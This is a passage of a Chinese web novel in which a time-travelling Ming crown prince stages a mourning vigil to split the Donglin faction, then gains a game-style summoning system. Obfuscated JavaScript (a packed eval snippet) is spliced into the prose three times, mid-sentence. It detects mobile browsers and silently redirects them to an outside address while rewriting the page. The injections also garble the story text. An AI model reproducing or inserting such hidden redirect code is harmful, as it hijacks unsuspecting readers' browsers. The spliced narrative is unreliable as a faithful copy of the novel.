杨涟提到的正是东林党奉为三君之一的邹元标,他被贬谪后醉心讲学,乃是一代名贤,极受东林党推崇。 泰昌帝登基之初征召了他,提拔为刑部右侍郎,显是要重用的意思。 可惜邹元标才到京城不久,泰昌帝就骤然驾崩,他还没来得及赴任,只得耽搁下来。 而他恰好经历过三十多年前,另一场闹得沸反盈天的夺情事件。 12. 箭射周天子 杨涟与左光斗驾车来到南城绳匠胡同时,天已渐晚了。 此时上门拜访颇为失礼,但两人也顾不得许多。 这条胡同偏僻狭长,两侧多是些破落小院,邹元标的居所在最深处。 开门的是个上了年纪的老仆,见其打扮忙恭敬地将二人引入内室,杨涟与左光斗进屋便急急忙忙见礼,连茶都等不及喝上一口。 “南皋先生!太子殿下要为先帝守孝三年,拒不登基,这该如何是好啊!” 左光斗也坐立难安,微微倾身焦急道:“先生是两朝老臣,德高望重,若您肯出面劝谏,太子必会听您的!” 见两人急切不似作伪,邹元标放下手中书卷,眉头紧拧。他快七十岁的人了,也还是第一次听到今天这种情况,不免细细追问起来。 太子辞让劝进,这不是正常流程吗?何至于火烧屁股似的。 二人将皇帝驾崩那日的变故娓娓道来,邹元标不时拈须颔首,只觉太子这孩子至情至性,纯孝非常,表现得像是儒家最喜欢的那种仁德君主。 可再仁德,也没谁为了守孝拒不登基的,史书上甚至找不到成例。 当时左光斗只是话赶话说到那了,他也没觉得太子是真为了沽名钓誉。毕竟一个十五六岁的孩子突然失去父亲,因此乱了方寸很正常。 万历对长孙的教育不上心,导致太子分不清私情社稷孰轻孰重,他们这些做臣子的自当用心教导。 邹元标瞧着面前慷慨激昂的二人,却忽然感到腿骨的旧患隐隐作痛起来,目光微沉。 再开口,声音里就带了几分疲惫,“你们说老夫德高望重,那你们可知道,老夫当年是怎么得到这份名望的?” 杨涟与左光斗对视一眼,试探着道:“先生是说,先太……张江陵夺情之事?” 万历五年,当时的首辅张居正父亲去世,按制他该丁忧守孝三年,可神宗下旨夺情,命他留任。 张居正主持的新政动了太多人的蛋糕,各方势力见此良机,登时如鲨鱼闻见血般群起而攻之,甚至连一向支持新政的人都反对夺情,不惜抛官挂印而去,士林间更是物议如沸。 学生,同乡,同僚,没有不骂他的。 邹元标彼时初入仕途,血气方刚,亦上疏弹劾张居正忘亲贪位,言辞激烈,结果被廷杖八十,贬至贵州都匀卫。 虽然因此名声大噪,备受士人推崇,但经过多年瘴疠之地生活,每逢阴雨断腿处就疼痛难忍。 身体之痛还在其次,他在野时,可是亲眼目睹国力如何一步步耗空耗尽,有了切身体会,当年固执的想法也悄然发生了些许改变。 邹元标以掌撑桌站起身,走到窗前,望着天边一轮明月,眼光浑浊却深邃。 他苦笑道:“当年老夫的奏疏句句都在骂张江陵忘亲,如今你们要老夫去劝太子别守孝,老夫该如何面对天下士子?” 左光斗急道:“先生!此一时彼一时……” “老夫知道。”邹元标打断他,转过身,眼中透出几分锐利,“太子若不登基朝局必乱,可你们想过没有,臣子逼君王夺情,岂非尊卑颠倒?君要臣夺情那是君恩,臣要君夺情那是悖逆!” 屋内陷入沉默。 邹元标因反对夺情而名满天下,如今却要反过来劝人夺情,这不是自打嘴巴吗? 良久,杨涟才开口,声音干涩:“南皋先生,您的难处学生明白了……” 他也能体谅邹元标不易,正准备告辞。 邹元标却突然开口:“罢了,明日祭拜,老夫随你们入宫,等见了太子,自有我的道理。” 峰回路转,杨涟与左光斗喜不自胜,连忙称赞先生大义。 次日辰时,乾清宫外。 百官依礼入宫祭拜时,都被眼前的景象惊住了。 乾清宫正门外东侧的空地上一夜之间多了个草庐,搭得简陋,只在周边铺着厚厚的稻草做屏障,门前立着块木牌,上书倚庐二字。 方从哲脚步一顿,老眼瞪得溜圆。 倚庐乃是周礼所载天子守孝的居所。 天子居倚庐,枕块而寝,以示哀戚。 可那是三千年前的旧制!大明朝开国以来,从未有皇帝在宫外搭草庐守孝的! 太子这是以实际行动宣告,他要来真的了。 刘一燝指着那草庐的手指都在抖,英国公张维贤沉默不语,只窥见草庐的门虚掩着,里头隐约可见一个穿着粗麻孝服的身影跪在蒲团上。 杨涟看向左光斗,左光斗看向人群后方的邹元标,他穿了一身洗得发白的旧官袍,背微微驼着,见此情形也不知是何感想。 待到祭拜仪式结束,群臣起身,草庐的门才开了。 朱笑笑从里面走出来,面容憔悴,眼下乌青,走路时脚步虚浮,仿佛真的在草庐里跪了一夜。 群臣纷纷躬身行礼。 他的态度已经很明显了,但今日却无人敢贸然劝说,孝道可谓是扣在这些士大夫头上的紧箍咒,一句话没说好就得跟左光斗一样吃顿排头。 唯有邹元标缓步踱到人前单独见礼,语气和煦道:“殿下孝心可嘉,但也该保重自身,不可哀毁过度。” 朱笑笑听说过邹元标这号人物,正因为认出他,才感觉事情顿时有趣了起来。 “多谢邹大人关怀。” 邹元标仔细打量这位温和知礼的少年太子,眼里满是复杂。 “老臣斗胆,想问殿下一句。”他深吸一口气,声线苍老却清晰,“殿下可知,宋英宗治平年间曾有一桩旧事?” 朱笑笑眉梢微挑:“邹大人有何指教?” 邹元标顿了顿,一口气道:“宋英宗即位之初,欲为仁宗守孝三年。群臣劝谏,说天子当以日代月,二十七日足矣。英宗不听,执意要守。” “后来司马光上了一道奏疏,说天子之孝与士庶不同,士庶孝亲,可尽三年之哀。天子孝亲,当以社稷为重。英宗看了奏疏,便不再坚持了。” 邹元标坚定地直视着太子的眼睛:“世有非常之人,然后办非常之事。天子非寻常士庶,自当胸怀天下,殿下孝敬之心日月可鉴,想必先帝亦盼着殿下励精图治,以传世系。” 就差大声喊出福王的名字,毕竟叔叔造侄子的反也是大明经典剧目。 太子你可长点心吧,老爹装一辈子孙子不容易,守住皇位才是真孝顺啊! 杨涟眼前一亮,左光斗微微点头,惠世扬等人更是面露喜色,方从哲却皱起眉头,隐隐觉得哪里不对。 朱笑笑安静听着,脸上看不出表情:“邹大人是想如司马光当年劝宋英宗一般劝孤?” 邹元标面色不改。 “邹大人博闻强记,孤佩服。”他缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275294|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“司马光说,天子之孝,在乎承宗庙、安社稷,不在居庐啜粥之间。” 朱笑笑往前走了一步,离邹元标只有两尺远:“无天子不可安社稷,无臣子便可安社稷吗?若是臣子个个丁忧,朝堂空虚,凭天子一人就能治国平天下了?” 邹元标皱眉道:“殿下不必曲解老臣之意……” 朱笑笑打断他,“依邹大人之意,孤若坚持守人子之孝,反而违背了天子之孝。可天子亦是人子,若连孝亲都做不到,又如何为天下表率呢?” 他将目光转向众人,如同一汪深潭波澜不兴。 “邹大人方才引宋英宗为例,莫非诸位大人都赞同,夺情天子便是为臣本分吗?” 邹元标张了张嘴,一时竟不知如何作答。 主要是之前的储君都没这么较真的,抛个社稷为重的道理,推拒几下意思意思就继位了。储君若是硬要守,这些做臣子的也不可能大喇喇要求夺情。 孝道好比做人根基,政敌互相攻击都会盯着对方品德有亏之处。太子把话说到这份上,他们要再坚持阻止,天下读书人恐怕要将他们骂个狗血淋头。 有超长挂机记录的先先帝摆烂在前,谁敢昧着良心说离了皇帝朝廷就不转? 众臣面面相觑,一时没人敢接话。 杨涟急得额头冒汗,紧盯着邹元标。 邹元标沉默良久,忽然长长叹了口气,苦笑道:“老臣今日来劝殿下夺情,确实有违臣子本分。可老臣还是要劝!这江山离不了殿下,若有罪责,便由老臣一人承担吧。” 难得有主动顶雷的,众臣皆露出动容赞叹之色,以示支持。 “邹大人,孤读过你的奏疏。” 朱笑笑冷不丁开口,声音不高却字字清晰,“万历五年,你上疏弹劾先太师张文忠公,说他忘亲贪位,恋栈不去。” “亲生而不顾,亲死而不奔。世人则以为禽彘,不配称作非常人。” 邹元标浑身一震,当初张居正自比非常人,他是不忿的,用来形容天子却恰如其分。他只是没想到,太子会用他说过的话来反驳他。 而太子这么轻描淡写提起数十年都是禁忌的名号,让某些经历过的朝臣都心有余悸地移开了视线。 朱笑笑轻叹了口气,分明哀伤之色不改,语气听来竟无端叫人品出狡黠之意,“邹大人当年言之凿凿反对夺情,孤还以为邹大人能体谅孤的一片孝亲之心。” 果然来了,邹元标愣在原地,像被雷劈中一般。 其实邹元标早就想明白了,张居正是没错的,他并非不顾孝道霸着权柄,实在是除了他没人能压下一切反对声音将新政推行下去。若新政早废,后来的接连战事恐怕早折腾得大明亡国了。 邹元标知道错的是迂腐僵化的制度,可他毕竟没那份冒天下之大不韪的勇气挑战制度。 如今被太子点出旧事,这张老脸简直无地自容。 邹元标久不在朝,或许是旁观者清的缘故,没有先入为主因为年纪小就轻视了太子。太子为达成目的显然用心准备过,证明并非是一时兴起的胡闹。 再者说,他若真是那般喜怒形于色的任性小儿,区区魏忠贤又怎挡得住砍向杀父仇人的刀呢? 邹元标冷汗渐生,难道太子早已洞悉东林党的急切?那他这一番作派岂不是…… 箭射周天子! 13. 你们真是害苦了朕啊 春秋时,周桓王亲率军队讨伐郑国,郑国大将祝聃一箭射中周桓王肩膀,这一箭射丢了所谓天下共主最后的脸面,彻底宣告礼乐征伐自天子出的时代就此终结。 坚不可摧的孝道,世代尊崇的儒学,声势浩大的东林党,皆在太子箭锋范围之内。 为什么不可能呢?为什么觉得太子年纪小没读过多少书就不可能做出如此深沉的谋划?世宗登基之时并不比太子年长,武宗更是上天入地折腾个没完。 而眼前这位太子,没有出阁,没有老师,没有人知道他真正的秉性究竟是怎样。他展现出的纯孝仁善,很可能是因为,他知道他们推崇这种性格的君主。 邹元标后背忍不住一阵战栗发麻,越想越心惊,零星线索逐渐在脑中凝成明线。 皇帝学会隐忍,往往意味着有人要倒大霉了。 拿东林党比周天子并非他自大,万历一朝六部官员常年缺位,直到泰昌帝登基马不停蹄地进行人事调动,填充六部六科的自然是维护正统的大功臣东林党人。 这功劳传到太子头上,份量似乎就不那么重了,先帝的嫡系,未必能做新帝的嫡系。 邹元标冷汗涔涔,脑海中只翻来覆去飘荡着四个字。 帝王心术。 东林党最为倚仗礼法,所以太子就要让他们掀翻自己的倚仗,把他们推到天下士人的对立面,甚至让他们内部分化! 一座庞然大物般的巨兽,从外部是轻易杀不死的,只有内里不和起来,出现分歧,那才是取死之道。 即便皇帝刚登基也不用担心无人可用,只需上位者流露出想要他们不得好死的意思,政敌自会出手。 邹元标何尝不知,东林党口号喊得响亮,当中却也少不了空谈之辈,杨涟几人倒是真心想要稳定的政局,但绝大多数急着让太子上位是担心被福王钻空子。 迟则生变!三年太长,还不知会发生什么意外,他们害怕被清算的私心早已超过了担忧社稷的公心。 其实太子年幼,本就需要辅政大臣,趁这三年守制读书未尝不可,反正一应决策基本都是由内阁票拟,司礼监批红,只缺个名分大义,让太子挂个监国的名头也就说得过去了。 结果呢?一向尊崇礼法的东林党居然反对太子守孝,岂不成了见风使舵的虚伪小人? 邹元标不由羞愧交加,有些事情要经过岁月无情打磨才能够认识到错误。 他虽被奉为东林领袖,却无法对所有人如臂使指,与张江陵当国时的威势更不可同日而语。他承认,比起那位,世上大多数人都可称之为庸才,他也不过是其中之一。 霍光、伊尹那样的权柄终究不是朋党所能乞及,一旦太子的意图被浙党楚党察觉,东林党的末日就要来了,扳倒同事不比扳倒领导简单? 况且邹元标还没能摆脱忠君的思想钢印,他深知治理天下仰赖的终究是有能为的贤明君主。 太子若真有这份魄力手腕力挽狂澜,肃清党羽自是不在话下,只是难免牵连到真心报国之辈。 他迫切地想在注定的败局下保全自己看好的年轻人。 邹元标一时竟觉得,张居正不用眼睁睁看着亲自筑成的大厦倾倒是件幸事。 如果他知道结局注定潦落,他会怎么做? 邹元标想不到,却已做出了自己的选择。 既然太子认为东林党有所妨碍,就由他来射出这一箭吧! 至少,看在他识时务的份上,太子会愿意给东林留下一脉生机。 卑鄙也好,谄媚也好,邹元标只知道紧跟皇帝的脚步才能避免最惨烈的清算。当然,蹦得最高的有可能被丢出来平息众怒,成为清君侧的那个侧字。 但他不在乎,他本就没几年好活,这一生于国无功,要是能助太子掌控朝堂,也算他出了份微薄之力,蹭上了从龙之功吧。 邹元标缓缓闭上眼睛,再睁开时,眼里竟有了泪光。 “殿下说得是。”他声音沙哑,却坦荡得出奇,“老臣当年,不知轻重。这些年被贬贵州,读了几十年书,才明白张江陵的难处。” 邹元标撩袍跪下,抬起头,声音忽然大了起来:“殿下若要怪老臣前后不一,老臣不敢辩驳。可老臣还有一言,丁忧夺情之制,本就不该一概而论!” “士大夫守孝三年,天子如何守得?然天子亦为人子,以社稷为重便无法兼顾孝道,既是君为臣纲,天子为万民表率,为臣者自当从之!改了丁忧的规矩就是。” “老臣,愿为殿下执笔!便是与天下士林为敌,老臣也认了!” 此言一出,石破天惊,群臣哗然。 杨涟猛地抬头,难以置信地看着邹元标。左光斗张大了嘴,惠世扬脸色煞白,方从哲捻须的手也停在半空。 修改丁忧制度? 这可是动摇儒家伦理纲常的大事! 杨涟急道:“邹大人!您这是……” 邹元标打断他,义正词严:“太子殿下言之有理,你也丁忧我也丁忧,朝堂无人可用又该如何治国理政?天子之孝亦应是臣子之孝,君亲尊卑有别,凡我朝臣皆当以社稷为重。天子以日代月,守二十七日,臣子便以月代年,守三个月即可。” “天下人若因此骂老夫朝秦暮楚,首鼠两端,老夫亦无话可说!” 杨涟与左光斗对视一眼,都从对方眼中看到了惊骇,邹元标这是要自绝于士林! 这一番话传出去,全天下的非议都会吻上来。 可更多人觉得莫名其妙,太子只是要守个孝,怎么突然就演变成了改丁忧制度? 不是,他有病吧! 自己淋雨就算了,把大家的伞都撕了作甚?超过半数官员在心里骂骂咧咧。 朱笑笑看着跪在地上挺直了脊背的邹元标,心中暗暗点头。 没想到他能说出这样一通话,没想到会是他率先投诚。 朱笑笑当然不可能守三年,他只想借守孝撬动孝道的绝对权威,一旦孝道这柄刀不再是无可辩驳的利器,以后改什么祖宗成法都有话可说。 谁急,谁就输了。 对东林党而言,这场拉锯战无形中抹杀了他们的道德优势,连自己内部也无法统一意见。 就像邹元标,不是所有人都理解他的决定。 他主动跳出来扛雷属实是意外之喜,朱笑笑为占据舆论高地不知道准备了几年,虽然文化课差,也耐着性子翻阅典籍实录查各种文献,准备了好几套应对话术。 总之这场争议最终的结果,他这个太子必须是完美受害者,而东林党将承受整个儒家学术圈的怒火。 邹元标全然不顾同事们的异样目光,再接再厉道:“臣请殿下以社稷为重,即皇帝位!殿下若不答应登基,臣便跪死在这里。” 这还是第一个为此事死谏的官员,那分量就很重了。言官不怕死,廷杖是光荣,死谏是殉道,皇帝白得一顿好骂,还不得不捏着鼻子虚心纳谏以免成为刷名声的工具人。 太子纯孝仁善的人设已经稳稳立在群臣心中,邹元标都开始玩命了,心生不忍因此动摇很正常吧? 朱笑笑恰到好处地流露挣扎之色,最终叹道:“为孤一介无知孩童妄言丁忧改制,邹大人又是何苦来哉!罢了罢了,孤答应你就是,天下人要骂,就骂孤吧。” 瞧这事闹的,你们真是害苦了朕啊。 邹元标缓缓叩首,额头抵着冰凉的地砖。 “不敢让殿下英明有损,老臣自当一力承担,以报君恩!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275295|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 剩下的大臣不是不想说话,只是担心在先帝灵前自由搏击影响不好。 就你邹元标能!不考虑身后这一帮子同党就算了,好歹在乎一下其他人死活吧!大家上个班容易吗?合法GAP的机会本来就不多,最烦这种拿同事福利讨好老板的工贼了! 朱笑笑眼看着系统显示的忠诚度一点一点往上涨。 【邹元标忠诚度:61/100】 这老头,也不知道有没有发现他的盘算,如果知道他用心险恶还肯冲在最前,那他也会尽量满足对方的遗愿。 他可是个恩怨分明的领导,不像有些人。 朱笑笑做出一副意兴阑珊的失落样子:“大人请起吧,明日孤便安排太庙告祭。” 说完也不理会他们,转身便往草庐里走,浑身洋溢着被迫屈服的闷闷不乐,把门一关,顺利杀青。 杨涟与左光斗赶忙上前扶邹元标起身,三人一时相视无言。 惠世扬凑过来,低声道:“南皋先生,您方才那番话可想过后果?” 邹元标看了他一眼,忽然笑起来。 太子果真没再坚持,醉翁之意不在酒,堂前诸公又有几人参破?这一步走对了。 傻小子,你们该担心的是自己。 河南,祥符县。 官道两旁杨树叶子黄了一半,风一吹就哗啦啦往下掉,铺了满地。 张居正走在县城东街上,仍作青衣文士打扮,腰间系着条布带。她脚步不快,转过街角,来到巷口一间小院。 院门虚掩,她推门进去,只见一个二十来岁的女子正对着木桩练拳,力道浑厚,虎虎生风。 “沈二姐好功夫。” 那女子收拳回头,一张圆脸晒得微黑,眉眼却周正。她看见来人,眼睛一亮,惊喜道:“小妹子!你怎的来了?” 话音未落,屋里又窜出个青年,二十来岁,浓眉大眼,手里还握着杆红缨枪。他一见张居正也乐了:“小妹子!可有些日子没见了!” 沈大勇与沈秋桂是兄妹,原是城外农户,七年前沈家老俩口把几亩薄田挂在张国纪名下,后来夫妻意外遭难去世,只留下才成年的兄妹相依为命。 张国纪也不是什么趁人之危的恶霸土豪,心知沈大勇年轻还不能顶门立户,便雇佣了兄妹俩来家里做两年工。 他家并非大户,活计也轻松,其实就是给个缓冲期,让沈大勇有精力另寻正经工作。 兄妹二人知道好歹,都是记恩的,日常砍柴挑水十分卖力。 张居正是军户出身,武道上颇有些见解,见他们资质不俗,又有股子闯劲,乐得结个善缘,便说服张国纪托了个好把式教他们习武。 张国纪祖上也阔过,恰好有些人脉,一来二去,沈家兄妹还真练出来了,如今正在神威镖局供职,已有四年之久。 今日正好得闲,便回来老家,这处小院正是用工钱置办的,那几亩田也赁给别人种,家底颇为殷实。 “沈大哥,沈二姐。”张居正拱拱手,笑道,“镖局生意可好?” 从小处下的交情,两人也不见外,把她让到里屋坐了。 沈大勇将枪搁在墙角,闻言道:“好不了,这几个月往山东的镖都不敢接,白莲教闹得忒凶。往南边的倒还行,刚走了一趟归德府。” 沈秋桂去灶房提了壶茶并一包桂花糕,给张居正倒了碗水,坐在身边压低声音道:“小妹子,开春后跑了一趟广州的活计,我跟大哥抽空去徐闻看望那位张老丈,他现今在社学教书,吃喝都有了着落,我们再送米面去,他就坚决不收了。” 张居正接过粗瓷碗,深褐色的茶汤倒映着陌生又熟悉的面容,她浅抿一口,抬眸淡笑。 “那便不送了吧。” 14. 公若不弃,朕愿拜为岳父! 张嗣修还活着。 张居正请沈家兄妹帮忙寻人的时候,心中早已做好最坏的打算。 被削籍为民的孩子实在无处寻觅,而张嗣修却是明旨流放,最坏也能知道他埋骨何处。 幸运的是,他还活着。不仅活着,找到他甚至不必费心打听。 初时流放至徐闻,张嗣修满腹经纶却无以为生,只能乞食度日。巡按御史蔡梦说见之不忍,上疏求情,结果触怒皇帝遭到贬谪,再无人敢替他说情。 他活着,也仅仅是活着。 倒张势力需要他落魄地活着,钓出一切对他施加善意的人打成张党,用来标榜自己与皇帝同仇敌忾的决心。 但因利而聚的人,终究也会因利而散。 首辅几度更易,张居正已然成为史书上的一撇墨痕,当针对他在也榨不出利益之后,知天命的张嗣修终于过上了自食其力的日子。 他身份敏感,地方官绅虽欣赏他的才学,到底不敢直接聘用,平日也就给人代笔,或写封家信换几个钱勉强糊口罢了。没人刻意磋磨,只是穷困些,日子尚且过得去,功名利禄早已如浮云与往日风光一同消散。 张嗣修会结识沈家兄妹,是被张居正做局了。 前几年,万历忙于战事身体逐渐衰败,天南地北的,他怕是早想不起张嗣修这号人。上峰不在意,底下的看管就更松了,张嗣修得已如常人般另起房舍在外居住,每隔五日去衙门应名即可。 他没什么积蓄,自己寻些木头将就箍了间小破屋,虽说秋风怒号难免卷走屋上三重茅,心中却只觉此心安处是吾乡。 沈家兄妹故意落下一箱货物在张嗣修回家的必经之路上,四野无人,张嗣修一眼就发现了。他先是蹲在路上眯眼研究车辙痕迹,接着便默默守在货箱边等来了满头大汗的兄妹俩。 江湖人豪爽重义,于张嗣修不过是举手之劳,但他再三推辞也抵不过两人非要热情答谢,狠狠置办了一波米面油茶送到家里,撂下就走。 除非张嗣修扛着他的破屋追上去,否则这些东西是肯定退不了的。 这也算是一趟特殊的粮镖吧。 由于没有直接送钱,张嗣修倒没怀疑两人的用心,只道世上还是好人多啊。但好人多来几次,他也琢磨过味了,这是父亲哪个故友悄悄发力呢? 有这种交情的故友还能屹立到如今?以当今的小心眼,不应该啊。 张嗣修只是老了,傲气仍在,知道有人接济自己反而振作起来,不想堕了张家门风,便积极打点上官争取了个社学教师的职位,报酬不高,至少衣食有靠。 张居正不需要他大富大贵,因为他早就有了安身立命的本钱。学识,是任何境地都不会背叛他的东西。 沈秋桂并不知张嗣修的底细,只猜是她某个犯了事的远亲,也乐意施以援手,再说他们兄妹与这位老人家挺投缘的。 张居正还专门提醒过,若有人私下警告他们不许与张嗣修来往,答应了就是,千万不可起冲突累及自身。 一个普通的镖师很难跟张家扯上关系,官府也不会无故冒犯江湖势力。 但兄妹俩终究是为她担了风险的。 张居正从布袋里取出一封银子,放在桌上,“我就要去京城了,大概很久都不能回来。既然他不缺吃穿,大哥和二姐只当走亲访友,路过时探视一二。倘或有个头疼脑热,便用这些钱请医问药。” 她将银子往沈秋桂的方向推了推,纤睫沉沉一闪,“若是不幸病笃,余下多少留作治丧用,再将尸骨收敛了送回故乡就是。” 事先预定一趟镖,也是常有的。 沈大勇心实,只觉她坦然托付重金是信得过自家兄妹人品,当下并不扭捏,爽快答应。 “中!小妹子放心,咱们一定好生看顾老丈。” 张老爷对他俩说是再造之恩也不为过,可若无张小姐指点,以他们的出身眼界只怕仍是围着田间地头转,哪里还能见识到更广阔的天地? 沈秋桂拉过她的手拍了拍,语气郑重不乏关切:“妹子保重!若是遇上难处,只管托人带个信。我拿你当自家人,你的家人就是我的家人。” 一诺千金。 张居正重重回握了一下,忽展颜如冰雪消融,春风回暖。 从沈家出来,已是巳时。 街上行人渐多了起来,菜农挑着空担子往回走,茶馆里不时传出说书先生拍醒木的声音。 张居正缓步踏入临街一座颇为气派的酒楼,因这家芡实糕做得好,她常买回去孝敬母亲。 一楼散座三三两两坐着些客人,掌柜正在柜台后拨算盘,见有人进来跑堂的连忙上前招呼。 张居正被伙计殷勤邀请入座,等候打包的功夫,却听见二楼的争论声越发高昂。 “荒谬!简直是荒谬!” 大嗓门吼得几乎整条街都能听见,“邹元标那个匹夫,当年是何等不畏强权!如今呢?腆着老脸劝新君夺情!这等反复无常的小人也配称正人君子?” 紧接着是一片附和声。 “李兄说得好!我看邹元标此番定是晚节不保了!” “什么清流领袖,呸!” “这等朝秦暮楚之人,就该上疏弹劾,让他滚回老家去!” 张居正捏着茶杯,神色不见什么变化,只听身后那桌客人低声抱怨道:“县学里的秀才真是闲的,这几日天天来,开口闭口都是这个邹元标的事。” 便在此时,二楼又响起另一道年轻些的声音,“诸位口口声声说邹公反复,我倒要请教,何为礼?何为权?” 先前那大嗓门冷笑:“这还用问?礼者,天地之序也。三年之丧,自天子达于庶人。邹元标当年守此礼以责人,今日毁此礼以媚上,不是反复是什么?” 年轻士子不慌不忙:“李兄既知三年之丧自天子达于庶人,可知这达字作何解?” “自然是通行之意。” “既通行,为何历代帝王多以日易月?太祖皇帝为何定下二十七日之制?莫非太祖也在毁礼?” 二楼一时静了静。 那大嗓门显然被问住了,好半晌才道:“那,那是权变……” “权变?”年轻士子笑了,“李兄既知权变,为何邹公行权变便是反复,太祖行权变便是圣明?莫非这权变二字也分人?” “你!” 又有个年轻声音加入战局,显然是大嗓门的同伴:“你们心学就是这般诡辩吗!动不动良知、变通,把圣人之言当什么了?” “圣人之言若不能权变,那便是死物。”年轻士子寸步不让,“敢问李兄,礼法名节莫非能挡住建奴铁骑不成?” “你这是强词夺理!” “理在事中,何须强词?” 那大嗓门气得拍桌子:“黄口小儿!你懂什么!礼法乃立国之本,若人人皆可因事废礼,这天下不乱才怪!” 年轻士子也站起来,声音清朗:“礼法若不能因时而变,才是真正的乱源!男女授受不亲,礼也;嫂溺援之以手,权也。今社稷将溺,邹公援之以权,何错之有?” 随后又是一声高过一声的辩论。 张居正身后那桌客人的同伴也出声了,“他们哪里是争论邹元标?分明是朱王二家又斗了一回。” 比起这些书生,旁观者倒更像是个明白人。 理学尊礼,心学尚权。两家争了百余年,如今邹元标这事不过是新添了一把柴火罢了。 张居正忽然觉得有些感慨,当年邹元标年轻气盛,以为守礼便能救国。如今老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275296|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,才明白行权才是真救。 可滚滚长江东逝水,三十年沧海桑田,天下早已不是当年的局势,拘泥于礼法改制又有何用? 跑堂的笑容满面地递上油纸包好的糕点,张居正接过,付了银钱径自出门,并不在乎那群书生的争论结果。 走上大街时,脚步却不由一顿,心头泛起疑云。 邹元标的份量,真有重到可以威逼太子放弃守孝吗? 泰昌元年九月初一,奉天殿。 卯时正,正是吉时。 奉天殿前百官跪了一地,丹陛上设着香案册宝亭,黄幔重重。 朱笑笑穿戴天子冕服,上绣日月星辰十二章纹,手持玉圭平稳走上台阶,按礼部教的流程,先祭天,后祭地,再祭太庙。 跪了起,起了跪,膝盖都快磨出茧子了。 好不容易熬到宣读即位诏书,方从哲捧着明黄绢帛,整个人庄严肃穆:“皇考大行皇帝奄弃天下,予一人茕茕在疚……皇太子朱由校于九月初一即皇帝位,以明年为天启元年,大赦天下……” 太长不听。朱笑笑跪在香案前,专心等待着耳边响起系统提示的仙音。 【主线任务:避免大明灭亡,进度更新:9.5%】 【获得阶段性奖励:工匠值+20000点,改变历史节点额外奖励:工匠值+10000点,任意商品体验卡(有效期限48小时)×2,工匠值获取倍率+10%(永久),解锁人物可查看属性权限】 【当前工匠值:38695点】 【获得新功能:名臣名将召唤卡池】 来了来了! 一夜暴富不过如此,朱笑笑差点没绷住脸上的严肃表情,飞快扫了眼系统界面。 【名臣名将召唤卡池】 【规则说明:消耗工匠值1000点可进行一次召唤,有概率获得历史人物英灵卡或特殊物品。英灵卡可召唤相应历史人物,不同时代英灵由系统自动生成合理身份入世辅助宿主。】 【首次十连必出金卡。】 【新手福利首次免费十连:是/否】 白嫖谁不要啊!选项框刚跳出来,朱笑笑就迫不及待点击抽卡。 没有过场动画,十张纹饰简洁的黑色卡牌浮现在系统界面上,一一翻转过来。 忽然金光闪耀,晃得他眼睛疼。 【恭喜获得:金卡·戚继光】 【戚继光,字元敬,号南塘,生于嘉靖七年,卒于万历十五年,抗倭名将,著《纪效新书》、《练兵实纪》。】 【身份生成:浙江都司指挥佥事戚金之族侄孙戚元靖,年二十三,精通兵法,尤擅火器。现居台州府,三日内下发入京候选文书。】 没来得及看其他东西,朱笑笑的注意力紧紧锁定金卡牌面介绍,呼吸都急促了几分。 戚!继!光! 我去王炸啊这把稳了! 他就算历史考零分也听说过抗倭英雄的威名。之前查资料无意中看过戚继光履历,这才发现人家就是当之无愧的战神!戚家军作战很懂变通,从沿海打到内陆无往不利,几乎没有短板,可惜一代名将却无法善始善终。 看到戚继光被当做张居正同党,从蓟辽前线被发配到南边不许带兵的时候,可把他给心疼坏了。 全能军事人才万历老登居然不珍惜!还是富裕日子过惯了,穷鬼朱笑笑羡慕得眼冒绿光,这种忠心又能打的将军谁不馋啊? 不止馋戚继光,他的大靠山张居正朱笑笑也馋,太能干了!顶级行政人才,最重要的是能搞钱!把这一文一武弄到手,朱笑笑都敢竞选亚洲洲长。 别说当个首辅了,咱一出手就是常务副皇帝。 甚至。 公若不弃,朕愿拜为岳父! 15. 非酋最后的荣光 朱笑笑发誓,他可以有皇帝命,但绝对没有皇帝病!什么嫉贤妒能多疑猜忌,不存在的。 只要坚定信念跟随他共建大明,就都是好同志。 朱笑笑特别瞧不起某知名不具人士,一边把人家批得十恶不赦,一边享受着人家呕心沥血的工作成果。 没吃过牛马的苦,总认为一切都来得那么理所当然,这种人多被社会毒打几次就清醒了。 以前当赛博皇帝的时候,朱笑笑刷到数值爆表治世能臣,要么娶了他女儿,要么让儿子娶他女儿,总之必须让爱卿的血脉与朕一道延续万世,避免因权势过大被新君清算。 论人情味,封建帝王凭什么比得过和谐社会培养出来的劳动人民? 对国家有利的人,历史不会遗忘他。 朱笑笑发自内心愿意给所有追随他的人一个配得上他们努力的结局。 来日携手塞北江南,共揽大好河山,让湖心亭挤满了看雪的游人,怎么不算一种美好展望呢? 